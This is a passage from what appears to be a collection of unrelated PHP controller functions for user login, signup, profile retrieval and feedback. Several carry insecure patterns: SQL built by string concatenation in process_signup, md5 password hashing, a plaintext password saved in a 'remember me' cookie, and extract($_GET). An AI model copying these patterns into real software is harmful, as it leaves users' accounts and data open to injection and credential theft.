=> $aUser,\n 'aAllItems' => $aAllItems,\n 'aStatus' => $aStatus,\n 'aRelationshipStatus' => $aRelationshipStatus,\n 'aFriend' => $aFriend,\n 'iShorten' => $iShorten,\n 'sShowMutualFriend' => $sShowMutualFriend,\n 'iNumberOfMutualFriend' => $iNumberOfMutualFriend,\n 'iMutualTotal' => $iTotal,\n 'aMutualFriends' => $aMutual,\n 'bEnableCachePopup' => Phpfox::getParam('profilepopup.enable_cache_popup'),\n 'bShowBDay' => $bShowBDayInput\n )\n );\n }", "public function reportaproblem() {\n // Fetch the request data in JSON format and convert it into object\n $request_data = $this->request->input('json_decode');\n switch (true) {\n // When request is not made using POST method\n case!$this->request->isPost() :\n $success = false;\n $status = BAD_REQUEST;\n $message = 'Wrong request method.';\n break;\n // Request is valid and phone no and name are present\n case!empty($request_data) && !empty($request_data->phone_no) && !empty($request_data->user_token) && !empty($request_data->problem_type):\n // && !empty($request_data->comment):\n // Check if phone no exists\n $data = $this->User->findUser($request_data->phone_no);\n\n // Check if record exists\n if (count($data) != 0) {\n // Check uuid entered is valid\n if ($data[0]['User']['verified'] === false) {\n $success = false;\n $status = UNAUTHORISED;\n $message = 'User not verified';\n } elseif ($request_data->user_token != $data[0]['User']['user_token']) { // User Token is not valid\n $success = false;\n $status = UNAUTHORISED;\n $message = 'User Token is invalid';\n } else {\n\n $dataArray = array();\n $dataArray['Feedback']['problem_type'] = $request_data->problem_type;\n if (!empty($request_data->spam_or_abuse_type))\n $dataArray['Feedback']['spam_or_abuse_type'] = $request_data->spam_or_abuse_type;\n $dataArray['Feedback']['comment'] = trim($request_data->comment);\n $dataArray['Feedback']['user_id'] = (string) $data[0]['User']['_id'];\n\n if ($this->Feedback->save($dataArray)) {\n $success = true;\n $status = SUCCESS;\n $message = 'Your problem has been saved.';\n } else {\n $success = false;\n $status = ERROR;\n $message = 'There was a problem in processing your request';\n }\n }\n }\n // Return false if record not found\n else {\n $success = false;\n $status = UNAUTHORISED;\n $message = 'Phone no. not registered.';\n }\n break;\n // User Token blank in request\n case!empty($request_data) && empty($request_data->user_token):\n $success = false;\n $status = BAD_REQUEST;\n $message = 'User Token cannot be blank.';\n break;\n // Phone no. blank in request\n case!empty($request_data) && empty($request_data->phone_no):\n $success = false;\n $status = BAD_REQUEST;\n $message = 'Phone no. cannot be blank.';\n break;\n // Problem type blank in request\n case!empty($request_data) && empty($request_data->problem_type):\n $success = false;\n $status = BAD_REQUEST;\n $message = 'Problem type cannot be blank.';\n break;\n // Parameters not found in request\n case empty($request_data):\n $success = false;\n $status = BAD_REQUEST;\n $message = 'Request cannot be empty.';\n break;\n }\n\n $out = array(\n \"success\" => $success,\n \"message\" => $message\n );\n\n return new CakeResponse(array('status' => $status, 'body' => json_encode($out), 'type' => 'json'));\n }", "public function information_user()\n {\n //Model\n $username = $_SESSION['username'];\n $rs = $this->Nhansu->get_information_user($username);\n if ($rs) {\n $this->view(\"master_page\", [\n \"page\" => \"information_user\",\n \"url\" => \"../\",\n \"info_user\" => $rs,\n \"phongban\" => $this->Phongban->ListAll(),\n \"chucvu\" => $this->Chucvu->ListAll(),\n\n ]);\n }\n }", "public function sendRequestToUser() {\n extract($_GET);\n //print_r($_GET);die();\n $gender = $this->session->userdata('key_gender');\n $encodedkey = $this->session->userdata('PariKey_session');\n $key = base64_decode($encodedkey);\n $keyarr = explode('|', $key);\n $user_id = $keyarr[2];\n $result = $this->Searchbyprofileid_model->sendRequestToUser($profile_user_id, $user_id, $gender);\n //print_r($result);die();\n if ($result == 200) {\n echo 200;\n } elseif ($result == 700) {\n echo 700;\n } elseif ($result == 900) {\n echo 900;\n } elseif ($result == 600) {\n echo 600;\n } else {\n echo 500;\n }\n }", "public function user()\n\t{\n\n\t\t$user = $this->current_user ? $this->current_user : $this->ion_auth->get_user();\n\n\t\techo json_encode($user);die;\n\t}", "public function signin()\n\t{\n\t\t$data['user_id'] = $this->input->get_post('user_id');\n\t\t$title = $this->input->get_post('title');\n\t\t$data['user_name'] = $this->input->get_post('user_name');\n\t\t$data['first_name'] = $this->input->get_post('first_name');\n\t\t$data['last_name'] = $this->input->get_post('last_name');\n\t\t$data['user_email'] = $this->input->get_post('user_email');\n\t\t$data['user_gender'] = $this->input->get_post('user_gender');\n\ttry{\n\t\t\tif($data['user_id'] == false || $data['user_id'] == \"\" ){\n\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t$this->_jsonData['message']=\"User ID Missing\";\n\t\t\t}else if($data['user_email'] == false || $data['user_email'] == \"\"){\n\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t$this->_jsonData['message']=\"user_email Missing\";\n\t\t\t}\n\t\t\telse if ($title=='Signin'){\n\t\t\t\tif($data['user_id']!=0){\n\t\t\t\t\t$checkUser = $this->webservicesModel->checkUser($data);\n\t\t\t\t\t$this->_jsonData['status']=\"SUCCESS\";\n\t\t\t\t\tif($checkUser['countUser']>0){\n\t\t\t\t\t\t$this->_jsonData['message']=\"User logged in successfully\";\n\t\t\t\t\t}else{\n\t\t\t\t\t\tif($data['user_name'] == false || $data['user_name'] == \"\"){\n\t\t\t\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t\t\t\t$this->_jsonData['message']=\"Username Missing\";\n\t\t\t\t\t\t}else if($data['first_name'] == false || $data['first_name']== \"\"){\n\t\t\t\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t\t\t\t$this->_jsonData['message']=\"first_name Missing\";\n\t\t\t\t\t\t}else if($data['last_name'] == false || $data['last_name'] == \"\"){\n\t\t\t\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t\t\t\t$this->_jsonData['message']=\"last_name Missing\";\n\t\t\t\t\t\t}else if($data['user_gender'] == false || $data['user_gender'] == \"\"){\n\t\t\t\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t\t\t\t$this->_jsonData['message']=\"user_gender Missing\";\n\t\t\t\t\t\t}else{\n\t\t\t\t/******** Array for insert values into the table user *************/\n\t\t\t\t\t\t\t$data['joined_date'] = date('Y-m-d');\n\t\t\t\t\t\t\t$data['user_coins'] = 1000;\n\t\t\t\t\t\t\t$result = $this->webservicesModel->addUser($data);\n\t\t\t\t\t\t\tif($result==true){\n\t\t\t\t\t\t\t\t\t$this->_jsonData['message']=\"Data Inserted Successfully\";\n\t\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t\t\t$this->_jsonData['status']='FAILURE';\n\t\t\t\t\t\t\t\t\t$this->_jsonData['message']=\"Data not Inserted Successfully\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$check = array();\n\t\t\t\t\t$check = $this->webservicesModel->getUserDetails($data);\n\t\t\t\t\t$this->_jsonData['data']=$check;\n\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\techo json_encode($this->_jsonData);\n\t}catch(Exception $e){\n\t\t\t\t$this->_jsonData['status']=\"FAILURE\";\n\t\t\t\t$this->_jsonData['message']=\"Error Occured\";\n\t\t\t\t$this->_jsonData['data']='';\n\t\t}\n\t\t$this->ServicesModel->createService($_REQUEST,$this->_jsonData,$_SERVER['SERVER_ADDR'],'signin',$_FILES);\n\t\t\n\t}", "function process_signup()\n\t{\n\t\t$parameter = file_get_contents(\"php://input\");\n\t\t\n\t\t// Decode data\n\t\t$decode_param = json_decode($parameter);\n\t\t\n\t\t// Validation format parameter\n\t\tif(! isset($decode_param->Name) ||\n\t\t\t! isset($decode_param->Username) ||\n\t\t\t! isset($decode_param->Password)\n\t\t){\n\t\t\techo json_encode(array('Status' => 500, 'Message' => 'Your format parameter is wrong')); // 500 = Internal Server Error\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// Validation of null value\n\t\tif($decode_param->Name == '' ||\n\t\t\t$decode_param->Username == '' ||\n\t\t\t$decode_param->Password == ''\n\t\t){\n\t\t\techo json_encode(array('Status' => 500, 'Message' => 'Your format parameter must be filled')); // 500 = Internal Server Error\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// Set variable\n\t\t$name = $decode_param->Name;\n\t\t$username = $decode_param->Username;\n\t\t$password = $decode_param->Password;\n\t\t\n\t\t// Check to database\n\t\t// Duplicate email or not\n\t\t$duplicate_email = $this->db->query(\"SELECT COUNT(*) AS count_data FROM tbl_user WHERE username = '\". $username .\"'\")->row()->count_data;\n\t\tif($duplicate_email > 0){\n\t\t\techo json_encode(array('Status' => 500, 'Message' => 'Your email have exist at database. Please, choose another email or recover your password.')); // 500 = Internal Server Error\n\t\t\texit;\n\t\t}\n\t\t\n\t\t// Save data\n\t\t$date_now = date('Y-m-d H:i:s', strtotime(\"now\"));\n\t\t$data = array(\n\t\t\t'username' => $username,\n\t\t\t'password' => md5($password),\n\t\t\t'name' => $name,\n\t\t\t'email' => $username,\n\t\t\t'last_login_time' => '0000-00-00 00:00:00',\n\t\t\t'created_on' => $date_now,\n\t\t\t'last_modified_on' => $date_now\n\t\t);\n\t\tif($this->db->insert('tbl_user', $data)){\n\t\t\t// 200 = OK - Save success\n\t\t\techo json_encode(array('Status' => 200, 'Message' => 'Save Success. You can login now'));\n\t\t} else {\n\t\t\t// 500 = Internal Server Error - Save failed\n\t\t\techo json_encode(array('Status' => 500, 'Message' => 'Save Failed. Please try again'));\n\t\t}\n\t\t\n\t}", "private static function getStatus($request){\r\n\t\t//QUERY PARAMS\r\n\t\t$queryParams= $request->getQueryParams();\r\n\r\n\t\t//Status\r\n\t\tif(!isset($queryParams['status'])) return '';\r\n\r\n\t\t//Mesangem de status\r\n\t\tswitch ($queryParams['status']){\r\n\t\t\tcase 'created':\r\n\t\t\t\treturn Alert::getSuccess('Usuario criado com sucesso!');\r\n\t\t\tbreak;\r\n\t\t\tcase 'updated':\r\n\t\t\t\treturn Alert::getSuccess('Usuario atualizado com sucesso!');\r\n\t\t\tbreak;\r\n\t\t\tcase 'deleted':\r\n\t\t\t\treturn Alert::getSuccess('Usuario excluido com sucesso!');\r\n\t\t\tbreak;\r\n\t\t\tcase 'duplicated':\r\n\t\t\t\treturn Alert::getError('O email digitado já esta sendo usado');\r\n\t\t\tbreak;\r\n\r\n\r\n\t\t}\r\n\t}", "public function checkUser($request)\r\n {\r\n\r\n /*\r\n * First, set params username which you need to check if user with this username exist in database.\r\n * PS: Each of registered user in database has diffrent username.\r\n */\r\n $params = [\r\n 'Username' => $request['username']\r\n\r\n ];\r\n $elt = $this->getAll($params);\r\n\r\n\r\n if (!empty($elt)) {\r\n /*\r\n * Beacuse each of user in database has unique username you know that $elt will be array with one element.\r\n * In next if sentence you can see comparing input password and user password from database.\r\n */\r\n\r\n if (password_verify($request['password'], $elt[0]['Password'])) {\r\n\r\n /*\r\n * If passwords are equal then you must to check if user is activated in database.\r\n * If account is activated than logging is successful and otherwise not successful.\r\n */\r\n\r\n if ($elt[0]['IsActivated'] == '1') {\r\n $_SESSION['logged'] = 'yes';\r\n $_SESSION['username'] = $request['username'];\r\n return 1;\r\n } else {\r\n return 2;\r\n }\r\n\r\n\r\n } else {\r\n $_SESSION['logged'] = 'no';\r\n }\r\n\r\n } else {\r\n\r\n $_SESSION['logged'] = 'no';\r\n }\r\n\r\n return 3;\r\n\r\n\r\n }", "public function users_create() {\n\t\t$response = '';\n\t\t$status = 200;\n\t\t$email = $first_name = $last_name = $pub = null;\n\t\t$source = 'api';\n\t\t$errors = array();\n\n\t\t// either accept POST, PUT, or GET\n\t\tif ($this->request->is(array('put', 'post'))) {\n\t\t\t$response = 'received';\n\t\t\tif (!empty($this->request->data['email'])) {\n\t\t\t\t$email = $this->request->data['email'];\n\t\t\t}\n\t\t\tif (!empty($this->request->data['first_name'])) {\n\t\t\t\t$first_name = $this->request->data['first_name'];\n\t\t\t}\n\t\t\tif (!empty($this->request->data['last_name'])) {\n\t\t\t\t$last_name = $this->request->data['last_name'];\n\t\t\t}\n\t\t\tif (!empty($this->request->data['utm_source']) || !empty($this->request->data['source'])) {\n\t\t\t\tif (empty($this->request->data['utm_source']) && !empty($this->request->data['source'])) {\n\t\t\t\t\t$this->request->data['utm_source'] = $this->request->data['source']; \n\t\t\t\t}\n\t\t\t\t$source = $source.':'.$this->request->data['utm_source'];\n\t\t\t}\n\t\t\tif (!empty($this->request->data['pub'])) {\n\t\t\t\t$pub = $this->request->data['pub'];\n\t\t\t}\n\t\t}\n\t\telseif (isset($this->request->query['email'])) {\n\t\t\t$response = 'received';\n\t\t\tif (!empty($this->request->query['email'])) {\n\t\t\t\t$email = $this->request->query['email'];\n\t\t\t}\n\t\t\tif (!empty($this->request->query['first_name'])) {\n\t\t\t\t$first_name = $this->request->query['first_name'];\n\t\t\t}\n\t\t\tif (!empty($this->request->query['last_name'])) {\n\t\t\t\t$last_name = $this->request->query['last_name'];\n\t\t\t}\n\t\t\tif (!empty($this->request->data['utm_source']) || !empty($this->request->data['source'])) {\n\t\t\t\tif (empty($this->request->data['utm_source']) && !empty($this->request->data['source'])) {\n\t\t\t\t\t$this->request->data['utm_source'] = $this->request->data['source']; \n\t\t\t\t}\n\t\t\t\t$source = $source.':'.$this->request->data['utm_source'];\n\t\t\t}\n\t\t\tif (!empty($this->request->query['pub'])) {\n\t\t\t\t$pub = $this->request->query['pub'];\n\t\t\t}\n\t\t}\n\n\t\t$source = strtolower($source);\n\t\tif ($this->User->save(array('User' => array(\n\t\t\t'email' => $email,\n\t\t\t'firstname' => $first_name,\n\t\t\t'lastname' => $last_name,\n\t\t\t'origin' => $source, // always will be set to at least api\n\t\t\t'pub_id' => !empty($pub) ? $pub: null\n\t\t)))) {\n\t\t\t$user = $this->User->findById($this->User->id);\n\t\t\t$this->UserActions->afterCreate($user, 'registration');\n\t\t\t\n\t\t\t$this->UserLog->create();\n\t\t\t$this->UserLog->save(array('UserLog' => array(\n\t\t\t\t'user_id' => $user['User']['id'],\n\t\t\t\t'type' => 'user.created',\n\t\t\t\t'description' => 'User created from API'\n\t\t\t)));\n\n\t\t\t$this->UserAcquisition->create();\n\t\t\t$this->UserAcquisition->save(array('UserAcquisition' => array(\n\t\t\t\t'user_id' => $user['User']['id'],\n\t\t\t\t'ip' => null, // it's a server-to-server post, so this is largely irrelevant\n\t\t\t\t'source' => $source,\n\t\t\t\t'params' => isset($this->request->query) ? serialize($this->request->query): null,\n\t\t\t)));\n\t\t\t$this->UserLog->create();\n\t\t\t$this->UserLog->save(array('UserLog' => array(\n\t\t\t\t'user_id' => $user['User']['id'],\n\t\t\t\t'type' => 'user_acquisition.created',\n\t\t\t)));\n\n\t\t\t$response = 'created';\n\t\t\t$status = 201;\n\t\t}\n\t\telse {\n\t\t\t$status = 400;\n\t\t\t$response = 'error';\n\t\t\tif (!empty($this->User->validationErrors)) {\n\t\t\t\tforeach ($this->User->validationErrors as $error_type => $error_message) {\n\t\t\t\t\tif ($error_type == 'email') {\n\t\t\t\t\t\t$error_type = 'Email';\n\t\t\t\t\t}\n\t\t\t\t\telseif ($error_type == 'firstname') {\n\t\t\t\t\t\t$error_type = 'First name';\n\t\t\t\t\t}\n\t\t\t\t\telseif ($error_type == 'lastname') {\n\t\t\t\t\t\t$error_type = 'Last name';\n\t\t\t\t\t}\n\t\t\t\t\t$errors[] = $error_type.': '.implode(' ', $error_message);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t$body = array();\n\t\tif (!empty($response)) {\n\t\t\t$body['response'] = $response;\n\t\t}\n\t\tif (!empty($errors)) {\n\t\t\t$body['errors'] = $errors;\n\t\t}\n\n\t\treturn new CakeResponse(array(\n\t\t\t'body' => json_encode($body),\n\t\t\t'type' => 'json',\n\t\t\t'status' => $status\n\t\t));\n\t}", "public function info()\n {\n $this->isUser();\n\n $this->data['noCabinetOrAdmin'] = true;\n\n $userModel = new UserModel();\n\n $userInfo = $userModel->getUserByEmail(Session::get('login'));\n\n $this->data['info'] = $userInfo;\n\n $this->render('info');\n }", "public function user(Request $request)\n {\n $user = Auth::user();\n if (!is_null($user)) {\n return response()->json([\"message\" => \"success\", \"body\" => $user],201);\n } else {\n return response()->json([\"message\" => \"failed\", \"body\" => \"Whoops! no user found\"],400);\n }\n }", "public function processLogin()\n {\n $user = $this->post['user'];\n\n // Run the form validation\n $errors = $this->validateLogin($user);\n\n // If the form is valid, check the login credentials and\n // if valid log the user in otherwise display the form again.\n if (empty($errors)) {\n if ($this->authentication->login($user['email'], $user['password'])) {\n header('location: /admin/');\n return http_response_code();\n } else {\n $errors[] = 'Invalid login credentials';\n return $this->loginForm($errors);\n }\n } else {\n return $this->loginForm($errors);\n }\n }", "public function me(Request $request)\n {\n return $this->validResponse($request->user());\n }", "public function postLogin() {\n\n\t\t// get input parameters\n\t\t//\n\t\t$username = Input::get('username');\n\t\t$password = Input::get('password');\n\n\t\t// validate user\n\t\t//\n\t\t$user = User::getByUsername($username);\n\t\tif ($user) {\n\t\t\tif (User::isValidPassword($password, $user->password)) {\n\t\t\t\tif ($user->hasBeenVerified()) {\n\t\t\t\t\tif ($user->isEnabled()) {\n\t\t\t\t\t\t$userAccount = $user->getUserAccount();\n\t\t\t\t\t\t$userAccount->penultimate_login_date = $userAccount->ultimate_login_date;\n\t\t\t\t\t\t$userAccount->ultimate_login_date = gmdate('Y-m-d H:i:s');\n\t\t\t\t\t\t$userAccount->save();\n\t\t\t\t\t\t$res = Response::json(array('user_uid' => $user->user_uid));\n\t\t\t\t\t\tSession::set('timestamp', time());\n\t\t\t\t\t\tSession::set('user_uid', $user->user_uid);\n\t\t\t\t\t\treturn $res;\n\t\t\t\t\t} else\n\t\t\t\t\t\treturn Response::make('User has not been approved.', 401);\n\t\t\t\t} else\n\t\t\t\t\treturn Response::make('User email has not been verified.', 401);\n\t\t\t} else\n\t\t\t\treturn Response::make('Incorrect username or password.', 401);\n\t\t} else\n\t\t\treturn Response::make('Incorrect username or password.', 401);\n\n\t\t/*\n\t\t$credentials = array(\n\t\t\t'username' => $username,\n\t\t\t'password' => $password\n\t\t);\n\n\t\tif (Auth::attempt($credentials)) {\n\t\t\treturn Response::json(array(\n\t\t\t\t'user_uid' => $user->uid\n\t\t\t));\n\t\t} else\n\t\t\treturn Response::error('500');\n\t\t*/\n\t}", "public function api_login_as_guider(){\n \t\n \t$username = $this->input->post('username');\n $password = md5($this->input->post('password'));\n\n $user_id = $this->login_model->api_login_as_guider($username,$password);\n\n if($user_id){\n\t\t $json_data['res'] = $user_id;\n\t\t echo json_encode($json_data);\n\t\t }else{\n\t\t $json_data['res'] = '0';\n\t\t echo json_encode($json_data);\n\t\t }\n\n }", "public function getUser(Request $request,$json='view')\n {\n try\n {\n $user_id = $this->user->getUserId($request);\n $user = $this->getUserById($user_id,$json);\n if($json == 'json')\n {\n return FS_Response::success('data',$user);\n }\n return view('fashiostreet_client::profile',['user' => $user]);\n }\n catch (\\Illuminate\\Database\\QueryException $e)\n {\n if($json == 'json')\n {\n throw new ErrorException('wishlist,server error found please try agian or contact our customer service');\n }\n $error = array('error' => 'Server error found please,Try again');\n return view('fashiostreet_client::error500',['request' => $error]);\n }\n }", "abstract public function handle_request();", "public function getMyAccountInfo()\n {\n $ajax_data = array();\n $user_id = $this->user_session->getUserId();\n\n if ($user_id) {\n $user = $this->user_logic->getUserById($user_id);\n if ($user !== false) {\n if (! empty($user) AND is_array($user)) {\n $user = array_pop($user);\n $ajax_data['code'] = 0;\n $ajax_data['data']['user'] = $user;\n $ajax_data['message'] = 'Successfully retrieved user info';\n } else {\n $ajax_data['code'] = 1;\n $ajax_data['message'] = 'User does not exist'; \n } \n } else {\n $ajax_data['code'] = 1;\n $ajax_data['message'] = 'Failed to get user info'; \n } \n } else {\n $ajax_data['code'] = 1;\n $ajax_data['message'] = 'Invalid user id';\n }\n \n $this->ajax_respond($ajax_data);\n }", "public function actionPing(){\n $user = $this->get_current_user($_GET);\n if(!$user){\n $data = array('success'=>false,'error_id'=>1,'error_msg'=>'user doesnt exist');\n $this->renderJSON($data);\n return;\n }\n\n $user->last_activity = date(\"Y-m-d H:i:s\");\n\n if($user->save(false)){\n $data = array('success'=>true);\n $this->renderJSON($data);\n return;\n }else{\n $data = array('success'=>false,'error_id'=>2,'error_msg'=>'user saving user');\n $this->renderJSON($data);\n return;\n }\n }", "public function getUserDetails()\n {\n try\n {\n $user = \\App\\User::find(getLoggedInUser('id'));\n\n return createResponse(200, \"User Details.\", ['user' => $user]);\n\n }catch(\\Exception $e)\n {\n \\Log::error(\"Get user details API failed: \".$e->getMessage());\n return createResponse(config('httpResponse.SERVER_ERROR'),\n \"Cound not fetch detail!\",\n ['error' => 'Cound not fetch detail!']);\n }\n }", "public function validateLoginAction(){\n\t\t \n\t\t $isValid = ! User::loginExists($_GET['login']);\n\t\t \n\t\t header('Content-Type: application/json');\n\t\t echo json_encode($isValid);\n\t }", "function getUserInfo(){\n\n\t\t/* Fetch user info from Flickr */\n\t\t$user = $this->askFlickr('people.getinfo','user_id='.$this->user);\n\n\t\t/* Return User info */\n\t\treturn $user;\n\t}", "protected abstract function handleRequest();", "public function updateUserinfo()\n\t{\n\t\t$user_array = Session::all();\n\n \t$userID = Session::get('id');\n\t\t$data = $this->request->all();\n\t\t$data['user'] = Auth::user();\n\t\t\t$rules = array(\n \t\t'full_name' => 'required',\n\t\t\t\t'zip_code' => 'required',\n\t\t\t\t'aniversary_date' => 'required',\n\t\t\t\t'phone_number' => 'required',\n\t\t\t\t'dob' => 'required',\n\t\t\t\t'gender' => 'required',\n\t\t\t\t'location_id' => 'required'\t\t\t\t\n\t\t\t);\n\n\t\t\t$message = array(\n\t\t\t\t'required' => 'The :attribute is required', \n\t\t\t);\n\n\t\t\t$validation = Validator::make($data, $rules, $message);\n\n\t\t\tif($validation->fails())\n\t\t\t{\n\t\t\t\treturn Redirect::to('/users/updateinfo')->withErrors($validation);\n\t\t\t}\n\t\t\telse\n\t\t\t{\n \t$arrResponse=Profile::updateProfileWeb($data, $userID);\n \treturn Redirect::to('/users/myaccount')\n\t\t ->with('flash_notice', '');\n\t\t }\n\t}", "public function index($id)\n {\n //\n $user = JWTAuth::parseToken()->authenticate();\n $userId = $user->id;\n $GetUserType=User::where('id','=',$userId)->select('userType')->first();\n $userType=$GetUserType->userType; \n //return $userType;\n\n if($userType==1){\n $userDetails=User::where('id','=',$id)->get();\n return new JsonResponse([\n 'message' => 'User Details Provided',\n 'data' => $userDetails\n ]);\n }else{\n return new JsonResponse([\n 'message' => 'User Not Permitted To See This Resource;',\n ]);\n }\n }", "public function get_user($request)\n {\n if(empty($request->email))\n {\n $this->res->SetObject(RCD::EC_EMPTY, RCD::ED_EMPTY, FALSE, NULL);\n }\n $this->db->where(array('email' => $request->email));\n $result = $this->db->get(self::user)->row();\n if(empty($result))\n {\n $this->res->SetObject(RCD::EC_EMPTY, RCD::ED_EMPTY, FALSE, NULL);\n }\n else\n {\n $this->res->SetObject(RCD::SC, RCD::SD, FALSE, $result);\n }\n }", "public function tokenAction() {\n // load global variables\n $validator = $this->view->validator;\n $site = $this->view->site;\n $errors = $this->view->errors;\n\n // read the token info from `headers: { Authorization }`\n $tokenInfo = $validator->checkOAuthToken( $site, 'read', true, $errors, false);\n $user = $tokenInfo['user'];\n\n // echo '$tokenInfo[user] => <pre>'.print_r($tokenInfo['user'], true).'</pre>';\n\n header('Content-Type: application/json');\n if ($user) {\n http_response_code(200);\n BeMaverick_Cookie::updateUserCookie( $user );\n echo json_encode(array(\n 'status' => 'success',\n 'message' => 'User authenticated successfully',\n ));\n exit();\n } else {\n http_response_code(401);\n echo json_encode(array(\n 'status' => 'error',\n 'message' => 'User not authenticated',\n ));\n exit();\n }\n }", "function getuserin_section() {\r\n if( isset($_POST['users_uname']) ) {\r\n if( isset($_POST['users_pwd']) ) {\r\n\r\n // Check Login\r\n $result_uname = $this->DatabaseModel->access_database('ts_user','select','',array('user_uname'=>$_POST['users_uname'],'user_pwd'=>md5($_POST['users_pwd'])));\r\n\r\n $result_uemail = $this->DatabaseModel->access_database('ts_user','select','',array('user_email'=>$_POST['users_uname'],'user_pwd'=>md5($_POST['users_pwd'])));\r\n\r\n if (!empty($result_uname) || !empty($result_uemail)) {\r\n\r\n $result = !empty($result_uname) ? $result_uname : $result_uemail ;\r\n\r\n if($result[0]['user_status'] == '2') {\r\n echo \"2#error\"; // InActive\r\n }\r\n elseif($result[0]['user_status'] == '3') {\r\n echo \"3#error\"; // Blocked\r\n }\r\n else\r\n {\r\n $userPlan = $result[0]['user_plans'];\r\n $uid = $result[0]['user_id'];\r\n if( $userPlan != '0' ) {\r\n $planDetails = $this->DatabaseModel->access_database('ts_plans','select','',array('plan_id'=>$userPlan));\r\n $planDuration = explode(' ',$planDetails[0]['plan_duration']);\r\n if( $planDuration[1] == 'Time' ) {\r\n $planstatus = 1; // Life time\r\n }\r\n else {\r\n if( $planDuration[1] == 'Days' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" days\"));\r\n }\r\n elseif( $planDuration[1] == 'Weeks' ) {\r\n $n = $planDuration[0] * 7 ;\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$n.\" days\"));\r\n }\r\n elseif( $planDuration[1] == 'Months' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" month\"));\r\n }\r\n elseif( $planDuration[1] == 'Years' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" year\"));\r\n }\r\n $p = $this->DatabaseModel->access_database('ts_user','select','',array('user_id'=>$uid,'user_plansdate <'=>$p_date));\r\n\r\n $planstatus = empty($p) ? '1' : '0' ;\r\n }\r\n }\r\n else {\r\n $planstatus = '404';\r\n }\r\n\r\n // Vendor Plans\r\n\r\n $vendorPlan = $result[0]['user_vplans'];\r\n if( $vendorPlan != '0' ) {\r\n $planDetails = $this->DatabaseModel->access_database('ts_vendorplans','select','',array('vplan_id'=>$vendorPlan));\r\n $planDuration = explode(' ',$planDetails[0]['vplan_duration']);\r\n if( $planDuration[1] == 'Time' ) {\r\n $planstatus = 1; // Life time\r\n }\r\n else {\r\n if( $planDuration[1] == 'Days' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" days\"));\r\n }\r\n elseif( $planDuration[1] == 'Weeks' ) {\r\n $n = $planDuration[0] * 7 ;\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$n.\" days\"));\r\n }\r\n elseif( $planDuration[1] == 'Months' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" month\"));\r\n }\r\n elseif( $planDuration[1] == 'Years' ) {\r\n $p_date = date('Y-m-d H:i:s',strtotime(\"-\".$planDuration[0].\" year\"));\r\n }\r\n//echo $p_date;\r\n $p = $this->DatabaseModel->access_database('ts_user','select','',array('user_id'=>$uid,'user_vplansdate <'=>$p_date));\r\n\r\n $vplanstatus = empty($p) ? '1' : '0' ;\r\n }\r\n }\r\n else {\r\n $vplanstatus = '404';\r\n }\r\n\r\n $user_details\t= array(\r\n 'ts_uid'\t\t=> $uid,\r\n 'ts_uname'\t\t=> $result[0]['user_uname'],\r\n 'ts_login'\t\t=> true,\r\n 'ts_level'\t\t=> $result[0]['user_accesslevel'],\r\n 'ts_planstatus'\t\t=> $planstatus,\r\n 'ts_vendorplanstatus'\t\t=> $vplanstatus\r\n );\r\n\r\n $this->session->set_userdata($user_details);\r\n\r\n if($_POST['rem_me'] == '1'){\r\n setcookie(\"ts_emanu\", $_POST['users_uname'] , time()+3600 * 24 * 14,'/');\r\n setcookie(\"ts_dwp\", $_POST['users_pwd'] , time()+3600 * 24 * 14,'/');\r\n }\r\n elseif($_POST['rem_me'] == '0')\r\n {\r\n setcookie(\"ts_emanu\", $_POST['users_uname'] , time()-3600 * 24 * 365,'/');\r\n setcookie(\"ts_dwp\", $_POST['users_pwd'] , time()-3600 * 24 * 365,'/');\r\n }\r\n\r\n echo ( $result[0]['user_accesslevel'] == '1' ) ? '7#adminredirect' : '7#redirect';\r\n // Login success\r\n }\r\n }\r\n else {\r\n if(isset($_POST['users_email'])) {\r\n $email = $_POST['users_email'];\r\n $un = $_POST['users_uname'];\r\n $pwd = $_POST['users_pwd'];\r\n\r\n if (filter_var($email, FILTER_VALIDATE_EMAIL) && strlen($pwd) > 7 && preg_match(\"/^[a-zA-Z0-9\\d]+$/\",$un) ) {\r\n $checkUsername = $this->DatabaseModel->access_database('ts_user','select','',array('user_uname'=>$_POST['users_uname']));\r\n\r\n if(empty($checkUsername)) {\r\n $checkEmail = $this->DatabaseModel->access_database('ts_user','select','',array('user_email'=>$_POST['users_email']));\r\n\r\n if(empty($checkEmail)) {\r\n\r\n $key = md5(date('his').$_POST['users_email']);\r\n $data_arr\t= array('user_uname'=>$_POST['users_uname'],'user_email'=>$_POST['users_email'],'user_pwd'=>md5($_POST['users_pwd']),'user_accesslevel'=>2,'user_status'=>2);\r\n $data_arr['user_key'] = $key;\r\n\r\n $uid = $this->DatabaseModel->access_database('ts_user','insert',$data_arr,'');\r\n\r\n /* Subscribe to list */\r\n $s = $this->ts_functions->subscribeemails( $_POST['users_email'] , 'registeredemails');\r\n /* Subscribe to list */\r\n\r\n echo $this->ts_functions->sendnotificationemails('registrationemail', $_POST['users_email'], 'Verification Link' , $_POST['users_uname'] , base_url().'authenticate/login/'.$key );\r\n\r\n // Register success\r\n\r\n }\r\n else {\r\n echo '7#exists';\r\n // Email exists\r\n }\r\n }\r\n else {\r\n echo '6#exists';\r\n // Username exists\r\n }\r\n }\r\n else {\r\n echo '404#js_mistake';\r\n // Server Error exists\r\n }\r\n }\r\n 